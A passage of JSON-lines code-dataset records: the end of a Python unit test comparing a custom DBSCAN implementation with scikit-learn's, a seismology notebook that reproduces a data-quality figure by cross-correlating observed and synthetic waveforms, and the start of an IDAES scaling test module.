noise2:\n        return False\n\n    # Core samples must be identical (although they might belong to different clusters)\n    if set(corepts1) != set(corepts2):\n        return False\n\n    # Since the clusters may have different cluster IDs, we'll have to kind of guess which\n    # clusters match.\n    uniquelabels1 = np.unique(labels1)\n    uniquelabels2 = np.unique(labels2)\n\n    clusterdifferences = []\n\n    for lbl1 in uniquelabels1:\n        if lbl1 == -1:\n            # Already checked noise, so continue with next cluster\n            continue\n        # Try to find most similar cluster\n        set1=set(np.where(labels1==lbl1)[0])\n        # Format of tuple: how many different samples there are, the list of different samples\n        bestcluster = (None, None)\n        for lbl2 in uniquelabels2:\n            if lbl2 == -1:\n                continue\n            set2 = set(np.where(labels2==lbl2)[0])\n            cluster_difference = set1 ^ set2\n            mag_cluster_difference = len(cluster_difference)\n            if bestcluster == (None,None):\n                bestcluster = (mag_cluster_difference, cluster_difference)\n            elif mag_cluster_difference < bestcluster[0]:\n                bestcluster = (mag_cluster_difference, cluster_difference)\n\n            # If they're identical, we can skip to the next iteration directly\n            if mag_cluster_difference == 0:\n                break\n\n        if bestcluster[0] != None and bestcluster[0] > 0:\n            clusterdifferences.append(bestcluster)\n\n    if len(clusterdifferences) != 0:\n        for difference in clusterdifferences:\n            for pt in difference[1]:\n                if pt in set(corepts1):\n                    # If any core points are different, we're in trouble. Border\n                    # points can be in different clusters though.\n                    return False\n\n    return True\n\ndef gen_shuffle_unshuffle_idx(data):\n    shuffle_idx=np.random.permutation(len(data))\n    revidx=[(x,y) for x,y in enumerate(shuffle_idx)]\n    revidx=sorted(revidx, key=lambda x: x[1])\n    unshuffle_idx=np.array([x[0] for x in revidx])\n    return shuffle_idx, unshuffle_idx\n\nclass TestDBSCAN(unittest.TestCase):\n    def test_db1(self):\n        # 200 iterations generally seems to be enough to get an ambiguous border point\n        for rs in range(200):\n            X=gen_dbscan_dataset1(random_state=rs)\n\n            # Shuffle the data to force (possibly) some border points to be different\n            shuffle, unshuffle = gen_shuffle_unshuffle_idx(X)\n            shuffleX = X[shuffle]\n            mydbscan=DBSCAN(eps=43,min_samples=4).fit(shuffleX)\n            # Unshuffle the results so they can be compared with original indices\n            unshuffled_labels=mydbscan.labels_[unshuffle]\n            unshuffled_corepts=np.array([shuffle[x] for x in mydbscan.core_sample_indices_])\n\n            #plot_dbscan_results(shuffleX, mydbscan.labels_, mydbscan.core_sample_indices_)\n\n            refdbscan=sklDBSCAN(eps=43,min_samples=4).fit(X)\n            #plot_dbscan_results(X,refdbscan.labels_, refdbscan.core_sample_indices_)\n\n            self.assertEqual(True,dbscan_equivalent_results(\n                             unshuffled_labels, unshuffled_corepts,\n                             refdbscan.labels_, refdbscan.core_sample_indices_))\n\n    def test_db2(self):\n        # 100 iterations generally seems to be enough to get an ambiguous border point\n        for rs in range(100):\n            X=gen_dbscan_dataset2(random_state=rs)\n\n            # Shuffle the data to force (possibly) some border points to be different\n            shuffle, unshuffle = gen_shuffle_unshuffle_idx(X)\n            shuffleX = X[shuffle]\n            mydbscan=DBSCAN(eps=36,min_samples=4).fit(shuffleX)\n            # Unshuffle the results so they can be compared with original indices\n            unshuffled_labels=mydbscan.labels_[unshuffle]\n            unshuffled_corepts=np.array([shuffle[x] for x in mydbscan.core_sample_indices_])\n\n            #plot_dbscan_results(shuffleX, mydbscan.labels_, mydbscan.core_sample_indices_)\n\n            refdbscan=sklDBSCAN(eps=36,min_samples=4).fit(X)\n            #plot_dbscan_results(X,refdbscan.labels_, refdbscan.core_sample_indices_)\n\n            self.assertEqual(True,dbscan_equivalent_results(\n                             unshuffled_labels, unshuffled_corepts,\n                             refdbscan.labels_, refdbscan.core_sample_indices_))\n\n    def test_db3(self):\n        # 500 iterations generally seems to be enough to get an ambiguous border point\n        for rs in range(500):\n            X=gen_dbscan_dataset3(random_state=rs)\n\n            # Shuffle the data to force (possibly) some border points to be different\n            shuffle, unshuffle = gen_shuffle_unshuffle_idx(X)\n            shuffleX = X[shuffle]\n            mydbscan=DBSCAN(eps=40,min_samples=4).fit(shuffleX)\n            # Unshuffle the results so they can be compared with original indices\n            unshuffled_labels=mydbscan.labels_[unshuffle]\n            unshuffled_corepts=np.array([shuffle[x] for x in mydbscan.core_sample_indices_])\n\n            #plot_dbscan_results(shuffleX, mydbscan.labels_, mydbscan.core_sample_indices_)\n\n            refdbscan=sklDBSCAN(eps=40,min_samples=4).fit(X)\n            #plot_dbscan_results(X,refdbscan.labels_, refdbscan.core_sample_indices_)\n\n            self.assertEqual(True,dbscan_equivalent_results(\n                             unshuffled_labels, unshuffled_corepts,\n                             refdbscan.labels_, refdbscan.core_sample_indices_))\n\n    def test_4d(self):\n        # Dataset from https://archive.ics.uci.edu/ml/datasets/banknote+authentication\n        df=pd.read_csv('../data/banknotepreprocessed.csv', header=None)\n        X=df.to_numpy()\n\n        # Shuffle the data to force (possibly) some border points to be different\n        shuffle, unshuffle = gen_shuffle_unshuffle_idx(X)\n        shuffleX = X[shuffle]\n        # Used DBSCAN_param_helper.py to pick out good parameters\n        mydbscan=DBSCAN(eps=1.66,min_samples=8).fit(shuffleX)\n        # Unshuffle the results so they can be compared with original indices\n        unshuffled_labels=mydbscan.labels_[unshuffle]\n        unshuffled_corepts=np.array([shuffle[x] for x in mydbscan.core_sample_indices_])\n\n        refdbscan=sklDBSCAN(eps=1.66,min_samples=8).fit(X)\n\n        self.assertEqual(True,dbscan_equivalent_results(\n                         unshuffled_labels, unshuffled_corepts,\n                         refdbscan.labels_, refdbscan.core_sample_indices_))\n\n    def test_timing(self):\n        our_timing = 0\n        their_timing = 0\n        iterations=10\n\n        # For some reason, the first iteration is always much longer\n        # than the rest (caching, other???). Let's discard that result\n        first_iteration = True\n\n        for rs in range(iterations):\n            X=gen_dbscan_dataset1(random_state=rs)\n            #X=gen_gridbscan_synth10k(random_state=rs)\n\n            shuffle, unshuffle = gen_shuffle_unshuffle_idx(X)\n            shuffleX = X[shuffle]\n            start_time=time.time()\n            mydbscan=DBSCAN(eps=43,min_samples=4).fit(shuffleX)\n            end_time=time.time()\n            if not first_iteration:\n                our_timing += (end_time-start_time)\n\n            start_time=time.time()\n            refdbscan=sklDBSCAN(eps=43,min_samples=4).fit(shuffleX)\n            end_time=time.time()\n            if not first_iteration:\n                their_timing += (end_time-start_time)\n            first_iteration = False\n\n        print('Timing results:')\n        print(f'Ours:   {our_timing/(iterations-1)}')\n        print(f'Theirs: {their_timing/(iterations-1)}')\n\n# These aren't really \"tests,\" but rather demonstrations\nclass TestDBSCANInteractive(unittest.TestCase):\n    def test_one(self):\n        n_samples = 4000\n        n_blobs = 4\n        X=gen_dbscan_blobs(n_samples, n_blobs, std=0.50, random_state=None)\n        mydbscan=DBSCAN(eps=0.3,min_samples=4).fit(X)\n        plot_dbscan_results(X, mydbscan.labels_, mydbscan.core_sample_indices_)\n\n        X = gen_dbscan_moons(n_samples)\n        mydbscan=DBSCAN(eps=0.085,min_samples=4).fit(X)\n        plot_dbscan_results(X,mydbscan.labels_, mydbscan.core_sample_indices_)\n        self.assertEqual(1,1)\n\n    def test_two(self):\n        n_samples = 400\n        n_blobs = 4\n        X, y_true = make_blobs(n_samples=n_samples,\n                               centers=n_blobs,\n                               cluster_std=0.60,\n                               random_state=0)\n        X = X[:, ::-1]\n\n        # Show raw points\n        plt.figure(1)\n        plt.scatter(X[:,0], X[:,1])\n        plt.show()\n\n        mydbscan=DBSCAN(eps=0.5,min_samples=4).fit(X)\n\n        # The following code is based on DBSCAN example in scikit-learn user guide\n        plot_dbscan_results(X,mydbscan.labels_, mydbscan.core_sample_indices_)\n\n        self.assertEqual(1,1)\n\n    def test_db1(self):\n        X=gen_dbscan_dataset1()\n        mydbscan=DBSCAN(eps=43,min_samples=4).fit(X)\n        plot_dbscan_results(X, mydbscan.labels_, mydbscan.core_sample_indices_)\n        self.assertEqual(1,1)\n\n    def test_db2(self):\n        X=gen_dbscan_dataset2()\n        mydbscan=DBSCAN(eps=36,min_samples=4).fit(X)\n        plot_dbscan_results(X, mydbscan.labels_, mydbscan.core_sample_indices_)\n        self.assertEqual(1,1)\n\n    def test_db3(self):\n        X=gen_dbscan_dataset3()\n        mydbscan=DBSCAN(eps=40,min_samples=4).fit(X)\n        plot_dbscan_results(X, mydbscan.labels_, mydbscan.core_sample_indices_)\n        self.assertEqual(1,1)\n\nif __name__ == '__main__':\n    # Set up logging subsystem. Level should be one of: CRITICAL, ERROR, WARNING, INFO, DEBUG, NOTSET\n    logging.basicConfig()\n    # DEBUG is a good level for unit tests, but you can change to INFO if you want to shut it up\n    # dbscan_logger=logging.get_logger('dbscan')\n    # dbscan_logger.setLevel(logging.DEBUG)\n    unittest.main()\n", "meta": {"hexsha": "22492efa4140dc19c14128c440f7ae4b15955488", "size": 12503, "ext": "py", "lang": "Python", "max_stars_repo_path": "unittest/DBSCAN_unittest.py", "max_stars_repo_name": "mbirkholzupc/urlproj", "max_stars_repo_head_hexsha": "bace4bc0462acab3ee29d2a9f9ef583747f7bc30", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "unittest/DBSCAN_unittest.py", "max_issues_repo_name": "mbirkholzupc/urlproj", "max_issues_repo_head_hexsha": "bace4bc0462acab3ee29d2a9f9ef583747f7bc30", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "unittest/DBSCAN_unittest.py", "max_forks_repo_name": "mbirkholzupc/urlproj", "max_forks_repo_head_hexsha": "bace4bc0462acab3ee29d2a9f9ef583747f7bc30", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.9501557632, "max_line_length": 115, "alphanum_fraction": 0.6567223866, "include": true, "reason": "import numpy", "num_tokens": 3100, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.476579651063676, "lm_q2_score": 0.11124120798077021, "lm_q1q2_score": 0.053015296083377274}}
{"text": "# ---\n# jupyter:\n#   jupytext:\n#     text_representation:\n#       extension: .py\n#       format_name: light\n#       format_version: '1.4'\n#       jupytext_version: 1.2.4\n#   kernelspec:\n#     display_name: Python 3\n#     language: python\n#     name: python3\n# ---\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# <div style='background-image: url(\"../../share/images/header.svg\") ; padding: 0px ; background-size: cover ; border-radius: 5px ; height: 250px'>\n#     <div style=\"float: right ; margin: 50px ; padding: 20px ; background: rgba(255 , 255 , 255 , 0.7) ; width: 50% ; height: 150px\">\n#         <div style=\"position: relative ; top: 50% ; transform: translatey(-50%)\">\n#             <div style=\"font-size: xx-large ; font-weight: 900 ; color: rgba(0 , 0 , 0 , 0.8) ; line-height: 100%\">Computational Seismology</div>\n#             <div style=\"font-size: large ; padding-top: 20px ; color: rgba(0 , 0 , 0 , 0.5)\">Reproducible Papers - Syngine Paper</div>\n#         </div>\n#     </div>\n# </div>\n\n# + {\"deletable\": true, \"editable\": true, \"cell_type\": \"markdown\"}\n# ---\n#\n# # Figure 6:  Data Quality - Detecting Wrong Times with Synthetics\n#\n# This notebook is part of the supplementary materials for the Syngine paper and reproduces figure 6.\n#\n# This notebook creates the phase relative times figure. Requires matplotlib >= 1.5 and an ObsPy version (>= 1.0) with the syngine client as well as instaseis.\n#\n# ##### Authors:\n# * Lion Krischer ([@krischer](https://github.com/krischer))\n\n# + {\"deletable\": true, \"editable\": true}\n# %matplotlib inline\n\n# + {\"deletable\": true, \"editable\": true}\nimport obspy\nimport numpy as np\nfrom obspy.clients.fdsn import Client\nfrom obspy.clients.syngine import Client as SyngineClient\n\nimport itertools\n\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.basemap import Basemap\nplt.style.use(\"seaborn-paper\")\n\n# + {\"deletable\": true, \"editable\": true}\nc_iris = Client(\"IRIS\")\n\n# + {\"deletable\": true, \"editable\": true}\n# Get all stations from the Caltech Regional Seismic Network activate\n# at the given time.\ninv = c_iris.get_stations(level=\"response\", format=\"xml\", channel=\"BHZ\",\n                          network=\"CI\", location=\"  \",\n                          startbefore=obspy.UTCDateTime(2012, 1, 1),\n                          endafter=obspy.UTCDateTime(2016, 1, 1))\ninv.plot(projection=\"local\");\nprint(inv)\n\n# + {\"deletable\": true, \"editable\": true}\n# Downloaded from the GCMT page.\n# cat = obspy.read_events(\"./cmtsolutions.txt\", format=\"CMTSOLUTION\").filter(\"latitude > -20\", \"longitude > 165\")\n\n# This is a prototype - we thus are very selective regarding which data we use...\ntraining = [\"smi:local/cmtsolution/201510202152A/event\",\n            \"smi:local/cmtsolution/201212212228A/event\",\n            \"smi:local/cmtsolution/201203090709A/event\"]\nvalidate = \"smi:local/cmtsolution/201401011603A/event\"\napplication = \"smi:local/cmtsolution/201501230347A/event\"\n\nall_data = []\nall_data.extend(training)\nall_data.append(validate)\nall_data.append(application)\n\ncat.events = [_i for _i in cat.events if _i.resource_id.id in all_data]\n\nprint(cat)\ncat.plot();\n\n# + {\"deletable\": true, \"editable\": true}\n# For all of them: download the syngine data 50 seconds before the p-phase\n# and 50 seconds after for the 5s ak135f DB.\nc_syngine = SyngineClient()\n\n# + {\"deletable\": true, \"editable\": true}\n# Download all syngine data.\nsynthetic_data = {}\n\n# Build up bulk request.\nbulk = [\n    {\"networkcode\": \"CI\", \"stationcode\": _i.code,\n     \"latitude\": _i.latitude, \"longitude\": _i.longitude} for _i in inv[0]]\n\n# Actually download everything.\nfor _i, event in enumerate(cat):\n    origin = [_i for _i in event.origins if _i.origin_type == \"hypocenter\"][0]\n    mt = event.focal_mechanisms[0].moment_tensor.tensor\n    print(\"Downloading data for event %i of %i ...\" % (_i + 1, len(cat)))\n    st_syn = c_syngine.get_waveforms_bulk(\n        model=\"ak135f_5s\", bulk=bulk, sourcelatitude=origin.latitude,\n        sourcelongitude=origin.longitude, sourcedepthinmeters=origin.depth,\n        sourcemomenttensor=[mt.m_rr, mt.m_tt, mt.m_pp, mt.m_rt, mt.m_rp, mt.m_tp],\n        origintime=origin.time,\n        components=\"Z\",\n        # Avoid downsampling - just upsample to the data sampling rate.\n        dt=1.0 / 40.0,\n        kernelwidth=10,\n        units=\"velocity\",\n        starttime=\"P-50\", endtime=\"P+50\")\n\n    this_event = {\"event_object\": event, \"stream\": st_syn}\n    synthetic_data[event.resource_id] = this_event\n    print(\"  -> Downloaded %i synthetic traces.\" % len(st_syn))\n\n# + {\"deletable\": true, \"editable\": true}\n# Reordering ... I don't want to redownload again...\ndata = synthetic_data\nfor value in data.values():\n    value[\"synthetic_stream\"] = value[\"stream\"]\n    del value[\"stream\"]\n\n# + {\"deletable\": true, \"editable\": true}\n# Now download all real data.\nfor _i, value in enumerate(data.values()):\n    print(\"Downloading data for event %i of %i ...\" % (_i + 1, len(cat)))\n    st_obs = c_iris.get_waveforms_bulk(\n        [(tr.stats.network, tr.stats.station, \"\",\n          \"BHZ\", tr.stats.starttime, tr.stats.endtime) for tr in value[\"synthetic_stream\"]])\n    value[\"observed_stream\"] = st_obs\n    print(\"  -> Downloaded %i observed traces.\" % len(st_obs))\n\n# + {\"deletable\": true, \"editable\": true}\n# Cleanup - here we make our job easy and just remove all\n# stations for which we don't have data for all events.\n# Real implementations will of course have to deal with this.\n\ncommon_stations = set.intersection(*[set((tr.stats.network, tr.stats.station)\n                                         for tr in value[\"observed_stream\"])\n                                     for value in data.values()])\nprint(len(common_stations))\n\nfor value in data.values():\n    value[\"observed_stream\"] = obspy.Stream(traces=[\n        tr for tr in value[\"observed_stream\"] if\n        (tr.stats.network, tr.stats.station) in common_stations])\n    value[\"synthetic_stream\"] = obspy.Stream(traces=[\n        tr for tr in value[\"synthetic_stream\"] if\n        (tr.stats.network, tr.stats.station) in common_stations])\n\n# + {\"deletable\": true, \"editable\": true}\n# Create a new inventory object which only contains the common stations.\nfrom copy import deepcopy\nfiltered_inv = deepcopy(inv)\nfiltered_inv[0].stations = [_i for _i in filtered_inv[0].stations if (\"CI\", _i.code) in common_stations]\nfiltered_inv.plot(projection=\"local\");\n\n# + {\"deletable\": true, \"editable\": true}\nfrom obspy.signal.cross_correlation import xcorr_pick_correction\n\n\ncollected_stats = []\n\ngood_data = data\n\n# Now calculate the P phase delay for all stations.\nfor network, station in common_stations:\n    print(network, station)\n    for event, this_data in good_data.items():\n        obs_tr = this_data[\"observed_stream\"].select(network=network, station=station)[0].copy()\n        syn_tr = this_data[\"synthetic_stream\"].select(network=network, station=station)[0].copy()\n\n        # Artificially shift the data for two stations for the \"application\" event.\n        if event.id == application:\n            if station == \"BEL\":\n                obs_tr.stats.starttime -= 1.0\n            if station == \"PHL\":\n                obs_tr.stats.starttime += 1.0\n\n        # p-phase should be centered in the synthetic trace.\n        pick = syn_tr.stats.starttime + (syn_tr.stats.endtime - syn_tr.stats.starttime) / 2.0\n\n        # Process data.\n        obs_tr.detrend(\"linear\")\\\n            .taper(max_percentage=0.05, type=\"hann\")\\\n            .remove_response(inventory=filtered_inv, pre_filt=(0.02, 0.01, 1, 5))\\\n            .filter(\"bandpass\", freqmin=0.08, freqmax=0.2, corners=4, zerophase=True)\\\n            ._ltrim(30.0)\\\n            ._rtrim(30.0)\\\n            .taper(max_percentage=0.3, type=\"hann\")\n        obs_tr.trim(obs_tr.stats.starttime - 50, obs_tr.stats.endtime + 50, pad=True, fill_value=0.0)\n\n        # Also filter the synthetics.\n        syn_tr.taper(max_percentage=0.05, type=\"hann\")\n        syn_tr.filter(\"bandpass\", freqmin=0.08, freqmax=0.2, corners=4, zerophase=True)\n        syn_tr.data = np.require(syn_tr, requirements=[\"C\"])\n\n        # Interpolate both to the same sample points.\n        starttime = max(obs_tr.stats.starttime, syn_tr.stats.starttime)\n        endtime = min(obs_tr.stats.endtime, syn_tr.stats.endtime)\n        npts = int((endtime - starttime) // (1.0 / 40.0) - 1)\n        obs_tr.interpolate(sampling_rate=40.0, method=\"lanczos\", a=5,\n                           starttime=starttime, npts=npts)\n        syn_tr.interpolate(sampling_rate=40.0, method=\"lanczos\", a=5,\n                           starttime=starttime, npts=npts)\n\n        print(event.id, network, station)\n\n        # Subsample precision.\n        try:\n            shift, corr = xcorr_pick_correction(pick, obs_tr, pick, syn_tr, t_before=20,\n                                                t_after=20, cc_maxlag=12)\n        except:\n            shift, corr = None, None\n        collected_stats.append({\"time_shift\": shift, \"correlation\": corr,\n                                \"network\": network, \"station\": station, \"event\": event.id})\n\n        if \"processed_observed_stream\" not in this_data:\n            this_data[\"processed_observed_stream\"] = obspy.Stream()\n\n        this_data[\"processed_observed_stream\"] += obs_tr\n\n        if \"processed_synthetic_stream\" not in this_data:\n            this_data[\"processed_synthetic_stream\"] = obspy.Stream()\n\n        this_data[\"processed_synthetic_stream\"] += syn_tr\n\n\n# + {\"deletable\": true, \"editable\": true}\nimport pandas\npandas.set_option('display.max_rows', 10)\ncs = pandas.DataFrame(collected_stats)\noriginal_cs = pandas.DataFrame(collected_stats)\n\n# + {\"deletable\": true, \"editable\": true}\n# Now for all events: substract the mean time shift to account for\n# unexplained structure and unknown origin time.\ncs.loc[:, \"time_shift\"] = cs.groupby(\"event\").time_shift.transform(lambda df: df - df.mean())\ncs = cs.sort_values(\"station\")\ncs\n\n# + {\"deletable\": true, \"editable\": true}\n# Calculate the reference time shift for each station.\nreference_shifts = dict(cs.loc[cs.event.isin(training)].groupby(\"station\").time_shift.mean())\nreference_shifts\n\n# + {\"deletable\": true, \"editable\": true}\nimport matplotlib.pyplot as plt\n\ndef check_event(event, ax=None, ticks=False):\n    _ds = cs[cs.event == event]\n    mean = _ds.time_shift.mean()\n\n    things = []\n\n    for _i in _ds.itertuples():\n        things.append({\"station\": _i.station,\n                       \"time_shift\": _i.time_shift - mean,\n                       \"difference_to_mean\": (_i.time_shift - mean) - reference_shifts[_i.station]})\n\n    temp = pandas.DataFrame(things).sort_values(\"station\")\n\n    if ax is None:\n        plt.figure(figsize=(15, 5))\n        ax = plt.gca()\n    plt.bar(np.arange(len(_ds)) - 0.4, temp.difference_to_mean, 0.8, color=\"0.2\")\n    plt.ylim(-1.4, 1.4)\n    if ticks:\n        plt.xticks(range(len(_ds)), temp.station, rotation=\"vertical\")\n    else:\n        plt.xticks(range(len(_ds)), [\"\"] * len(_ds), rotation=\"vertical\")\n\n    plt.xlim(-1, 23)\ncheck_event(application)\n\n# + {\"deletable\": true, \"editable\": true}\ncheck_event(validate)\n\n# + {\"deletable\": true, \"editable\": true}\ncheck_event(application)\n\n\n# + {\"deletable\": true, \"editable\": true}\ndef plot_data(event, station, show=True, legend=False):\n    val = data[obspy.core.event.ResourceIdentifier(event)]\n    obs = val[\"processed_observed_stream\"].select(station=station)[0]\n    syn = val[\"processed_synthetic_stream\"].select(station=station)[0]\n\n    plt.plot(obs.times(), obs.data * 1E6, color=\"0.3\", linestyle=\"--\", linewidth=5,\n             label=\"Observed Data\")\n    plt.plot(syn.times(), syn.data * 1E6, color=\"0.1\", linestyle=\":\", label=\"Synthetic Data\")\n\n    ts= original_cs[(original_cs.event == validate) &\n                    (original_cs.station == \"TIN\")].time_shift\n\n    plt.plot(syn.times() - float(ts), syn.data * 1E6, color=\"k\", label=\"Shifted Synthetic Data\")\n    plt.ylabel(\"Velocity [$\\mu$m/s]\")\n    plt.xlabel(\"Relative Time [s]\")\n    plt.xlim(20, 65)\n\n    plt.xticks([30, 40, 50, 60], [\"30\", \"40\", \"50\", \"60\"])\n\n    if legend:\n        plt.legend(loc=\"lower left\")\n\n    plt.text(0.03, 0.92, \"Station: CI.%s\" % station, transform=plt.gca().transAxes, va=\"top\")\n    if show:\n        plt.show()\n\nplot_data(validate, \"TIN\")\nplot_data(validate, \"SCI2\")\nplot_data(validate, \"MPP\")\n\n# + {\"deletable\": true, \"editable\": true}\n# Create final complete plot.\nimport matplotlib.gridspec as gridspec\n\nfig = plt.figure(figsize=(10, 5))\n\ngs1 = gridspec.GridSpec(2, 1, wspace=0, hspace=0.04, left=0, right=0.27, bottom=0.08, top=0.98)\nax1 = fig.add_subplot(gs1[0])\nax2 = fig.add_subplot(gs1[1])\n\n\ngs2 = gridspec.GridSpec(3, 1, wspace=0, hspace=0, left=0.32, right=0.62, bottom=0.08, top=0.98)\nax3 = fig.add_subplot(gs2[0])\nax4 = fig.add_subplot(gs2[1])\nax5 = fig.add_subplot(gs2[2])\n\ngs3 = gridspec.GridSpec(3, 1, wspace=0, hspace=0, left=0.64, right=0.94, bottom=0.08, top=0.98)\nax6 = fig.add_subplot(gs3[0])\nax7 = fig.add_subplot(gs3[1])\nax8 = fig.add_subplot(gs3[2])\n\n\n\n\nstation_lats = [sta.latitude for net in filtered_inv for sta in net]\nstation_lngs = [sta.longitude for net in filtered_inv for sta in net]\n\nev_lats = [event.origins[0].latitude for event in cat]\nev_lngs = [event.origins[0].longitude for event in cat]\n\n\nm_ortho = Basemap(resolution='c', projection='ortho', lat_0=10.,\n                  lon_0=-150., ax=ax1)\nm_ortho.drawcoastlines(color=\"0.3\", linewidth=1.0)\nm_ortho.drawcountries(color=\"0.8\")\nm_ortho.fillcontinents(color=\"0.9\")\n\n_xs, _ys = m_ortho(station_lngs, station_lats)\n_xe, _ye = m_ortho(ev_lngs, ev_lats)\n\nfor sta, ev in itertools.product(zip(station_lngs, station_lats),\n                                 zip(ev_lngs, ev_lats)):\n    m_ortho.drawgreatcircle(*sta, *ev, linewidth=1.2,\n                            color=\"0.6\", alpha=0.5)\n\nm_ortho.scatter(_xs, _ys, marker=\"v\", s=120, zorder=10,\n                color=\"k\", edgecolor=\"w\")\nm_ortho.scatter(_xe, _ye, marker=\"o\", s=120, zorder=10,\n                color=\"k\", edgecolor=\"w\")\n\n\ndeg2m = 2 * np.pi * 6371 * 1000 / 360\nm_local = Basemap(projection='aea',\n                  resolution=\"i\",\n                  area_thresh=1000.0, lat_0=34.9,\n                  lon_0=-118,\n                  width=deg2m * 8, height=deg2m * 8,\n                  ax=ax2)\nm_local.drawmapboundary()\nm_local.drawrivers(color=\"0.7\")\nm_local.drawcoastlines(color=\"0.3\", linewidth=1.4)\nm_local.drawcountries(color=\"0.4\", linewidth=1.1)\nm_local.fillcontinents(color=\"0.9\")\nm_local.drawstates(color=\"0.5\", linewidth=0.9)\n\n_x, _y = m_local(station_lngs, station_lats)\nm_local.scatter(_x, _y, marker=\"v\", s=140, zorder=10,\n                color=\"k\", edgecolor=\"w\")\n\n\n# Waveforms.\nplt.sca(ax3)\nplot_data(validate, \"TIN\", show=False)\nplt.yticks(np.linspace(-1.5, 1.5, 7))\n\nplt.sca(ax4)\nplot_data(validate, \"SCI2\", show=False)\nplt.yticks(np.linspace(-2, 2, 9))\n\n\nplt.sca(ax5)\nplot_data(validate, \"MPP\", show=False, legend=True)\nplt.yticks(np.linspace(-2, 2, 9))\n\n\nplt.sca(ax6)\nstations = list(reference_shifts.keys())\ndelays = [reference_shifts[_i] for _i in stations]\nplt.bar(np.arange(len(delays)) - 0.4, delays, 0.8, color=\"0.2\")\nplt.xticks(range(len(delays)), [\"\"] * len(delays))\nax6.yaxis.tick_right()\nax6.yaxis.set_label_position(\"right\")\nplt.xlim(-1, 23)\nplt.ylim(-0.8, 0.7)\nplt.yticks([-0.5, 0, 0.5])\nplt.ylabel(\"Average time shift [s]\")\nplt.text(0.97, 0.90, \"Reference Time Shifts\", transform=plt.gca().transAxes, va=\"top\", ha=\"right\")\n\n\n\nplt.sca(ax7)\ncheck_event(validate, ax=ax7)\nax7.yaxis.tick_right()\nax7.yaxis.set_label_position(\"right\")\nplt.yticks(np.linspace(-1.0, 1.0, 5))\nplt.ylabel(\"Time shift deviation [s]\")\nplt.text(0.97, 0.90, \"Validation Event\", transform=plt.gca().transAxes, va=\"top\", ha=\"right\")\n\n\n\n\nplt.sca(ax8)\ncheck_event(application, ax=ax8, ticks=True)\nax8.yaxis.tick_right()\nax8.yaxis.set_label_position(\"right\")\nplt.yticks(np.linspace(-1.0, 1.0, 5))\nplt.ylabel(\"Time shift deviation [s]\")\nplt.text(0.97, 0.90, \"Test Event\", transform=plt.gca().transAxes, va=\"top\", ha=\"right\")\n\n\nplt.savefig(\"data_quality.pdf\")\nplt.show()\n", "meta": {"hexsha": "7d9fe0495997795517e05ca413bede49a96b149b", "size": 15997, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/Reproducible Papers/Syngine_2016/figure_6_data_quality.py", "max_stars_repo_name": "krischer/seismo_live_build", "max_stars_repo_head_hexsha": "e4e8e59d9bf1b020e13ac91c0707eb907b05b34f", "max_stars_repo_licenses": ["CC-BY-3.0"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2020-07-11T10:01:39.000Z", "max_stars_repo_stars_event_max_datetime": "2020-12-16T14:26:03.000Z", "max_issues_repo_path": "notebooks/Reproducible Papers/Syngine_2016/figure_6_data_quality.py", "max_issues_repo_name": "krischer/seismo_live_build", "max_issues_repo_head_hexsha": "e4e8e59d9bf1b020e13ac91c0707eb907b05b34f", "max_issues_repo_licenses": ["CC-BY-3.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/Reproducible Papers/Syngine_2016/figure_6_data_quality.py", "max_forks_repo_name": "krischer/seismo_live_build", "max_forks_repo_head_hexsha": "e4e8e59d9bf1b020e13ac91c0707eb907b05b34f", "max_forks_repo_licenses": ["CC-BY-3.0"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2020-11-11T05:05:41.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-12T09:36:24.000Z", "avg_line_length": 36.2743764172, "max_line_length": 159, "alphanum_fraction": 0.6524348315, "include": true, "reason": "import numpy", "num_tokens": 4529, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657963619520866, "lm_q2_score": 0.1112412050343159, "lm_q1q2_score": 0.053015293025170884}}
{"text": "#################################################################################\n# The Institute for the Design of Advanced Energy Systems Integrated Platform\n# Framework (IDAES IP) was produced under the DOE Institute for the\n# Design of Advanced Energy Systems (IDAES), and is copyright (c) 2018-2021\n# by the software owners: The Regents of the University of California, through\n# Lawrence Berkeley National Laboratory,  National Technology & Engineering\n# Solutions of Sandia, LLC, Carnegie Mellon University, West Virginia University\n# Research Corporation, et al.  All rights reserved.\n#\n# Please see the files COPYRIGHT.md and LICENSE.md for full copyright and\n# license information.\n#################################################################################\n\"\"\"\nThis module contains tests for scaling.\n\"\"\"\n\nimport pytest\nimport pyomo.environ as pyo\nimport pyomo.dae as dae\nfrom pyomo.common.collections import ComponentSet\nfrom pyomo.core.expr.logical_expr import (EqualityExpression,\n        InequalityExpression, RangedExpression)\nfrom pyomo.network import Port, Arc\nfrom idaes.core.util.exceptions import ConfigurationError\nfrom idaes.core.util.model_statistics import number_activated_objectives\nimport idaes.core.util.scaling as sc\nimport logging\n\n__author__ = \"John Eslick, Tim Bartholomew\"\n\n\n@pytest.mark.unit\ndef test_none_left_mult():\n    with pytest.raises(TypeError, match=\n            \"unsupported operand type\\(s\\) for \\*: 'int' and 'NoneType'\"):\n        assert sc.__none_left_mult(4, None) is None\n    with pytest.raises(TypeError, match=\n            \"unsupported operand type\\(s\\) for \\*: 'float' and 'NoneType'\"):\n        assert sc.__none_left_mult(4., None) is None\n    assert sc.__none_left_mult(None, 4) is None\n    assert sc.__none_left_mult(3, 4) == 12\n \n\n@pytest.mark.unit\ndef test_scale_constraint():\n    m = pyo.ConcreteModel()\n    m.x = pyo.Var()\n    m.y = 